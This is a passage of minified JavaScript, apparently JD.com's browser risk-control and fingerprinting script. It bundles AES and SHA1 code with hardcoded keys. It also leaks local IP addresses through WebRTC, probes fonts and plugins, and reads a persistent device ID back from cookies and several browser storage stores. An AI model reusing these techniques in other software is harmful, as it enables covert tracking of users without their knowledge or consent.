<< 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) 